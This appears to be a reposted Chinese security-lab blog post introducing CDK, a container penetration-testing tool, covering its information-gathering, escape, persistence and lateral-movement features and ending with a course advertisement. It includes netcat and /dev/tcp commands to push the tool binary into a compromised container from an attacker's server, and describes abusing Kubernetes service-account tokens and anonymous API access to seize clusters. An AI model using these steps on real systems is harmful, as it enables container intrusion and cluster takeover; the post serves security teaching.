暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

云安全容器安全扫盲 之 CDK工具介绍与使用

Ms08067安全实验室 2022-03-23
1829

文章来源|MS08067 安全实验室


声明:

MS08067安全实验室不会对圈内任何机构、公司发起任何舆论攻击、诋毁。也欢迎各界朋友各种形式的合作!


CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。


GitHub地址:

https://github.com/cdk-team/CDK/

CDK 功能

CDK包括三个功能模块

Evaluate: 容器内部信息收集,以发现潜在的弱点便于后续利用。

Exploit: 提供容器逃逸、持久化、横向移动等利用方式。

Tool: 修复渗透过程中常用linux命令以及与Docker/K8s API交互命令。

使用场景

伴随着容器技术的快速发展,容器安全问题也逐渐成为企业所关注的话题。


针对容器场景的渗透测试一方面要求攻击者理解对Docker/K8s以及云服务的原理、特性以及漏洞利用方式;另一方面,攻击者通过业务漏洞(如WEB RCE)攻入容器后往往面对的是一个缩减后的容器环境,缺乏常用的linux命令依赖导致渗透效率不佳。


CDK为安全测试人员提供了golang原生的容器环境渗透能力,主要以下几点:

评估容器内部弱点、搜集敏感信息。

提供多种容器逃逸的漏洞利用方式。

提供K8s环境的多种持久化、横向移动方式。

提供原生的进程、网络命令,便于测试者自定义攻击操作。


技巧:在真实渗透中如何通过漏洞exploit向容器中投递CDK


如果你的漏洞利用过程允许上传文件,即可直接植入CDK。
如果你可以在目标容器中执行命令(RCE),但容器中没有wget或curl命令,可以参考下面方法植入:


将CDK下载到你的公网服务器,监听端口:

    nc -lvp 999 < cdk


    在已攻入的目标容器中执行:

      cat < /dev/tcp/Your IP/Your prot > cdk
      chmod a+x cdk



      使用方法


      Evaluate: 容器内部信息收集

      [本地信息收集-系统信息]


      [本地信息收集-环境变量,敏感进程,服务]


      [本地信息收集-可用命令,特权容器]

      如果是以特权模式启动的话,CapEff对应的掩码值应该为0000003fffffffff



      [本地信息收集-容器挂载]

      利用:Procfs目录挂载逃逸

      https://github.com/cdk-team/CDK/wiki/Exploit:-mount-procfs


      [本地信息收集-网络namespace隔离]

      判断容器是否与宿主机共享Net Namespace, 如果docker以--net=host启动且containerd-shim存在虚拟unix socket时,可通过CVE-2020-15257进行逃逸。


      [网络信息收集-K8s API Server]

      检查ENV信息判断当前容器是否属于K8s Pod,获取K8s api-server连接地址并尝试匿名登录,如果成功意味着可以直接通过api-server接管K8s集群。


      [网络信息收集-K8s Service Account 认证凭据]

      K8s集群创建的Pod中,容器内部默认携带K8s Service Account的认证凭据

      (/run/secrets/kubernetes.io/serviceaccount/token)

      CDK将利用该凭据尝试认证K8s api-server服务器并访问高权限接口,如果执行成功意味着该账号拥有高权限,就可以直接利用Service Account 接管K8s集群。


      [网络信息收集-云厂商内置Metadata API]

      探测云厂商内置的Metadata接口,从该接口可以获取到服务器VM的基础信息如OS版本、CPU及网络、DNS配置等,少数情况下可以发现用户在Metadata中自定义的信息。


      Evaluate术语

        [Information Gathering - Services]
        [Information Gathering - Commands and Capabilities]
        [Information Gathering - Mounts]
        [Information Gathering - Net Namespace]
        [Information Gathering - Sysctl Variables]
        [Discovery - K8s API Server]
        [Discovery - K8s Service Account]
        [Discovery - Cloud Provider Metadata API]


        腾讯云、阿里云、实例云数据概述:

        https://www.alibabacloud.com/help/zh/doc-detail/49122.htm

        https://cloud.tencent.com/document/product/213/4934

        实验室计划4月底新开一门“云安全”的课程,由资深云安全专家,实验室核心成员主讲,感兴趣的同学可以咨询客服具体内容!



        课程咨询联系小客服


        扫描下方二维码加入星球学习

        加入后邀请你进入内部微信群,内部微信群永久有效!

         

        来和8000+位同学一起加入星球学习吧!



        文章转载自Ms08067安全实验室,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

        评论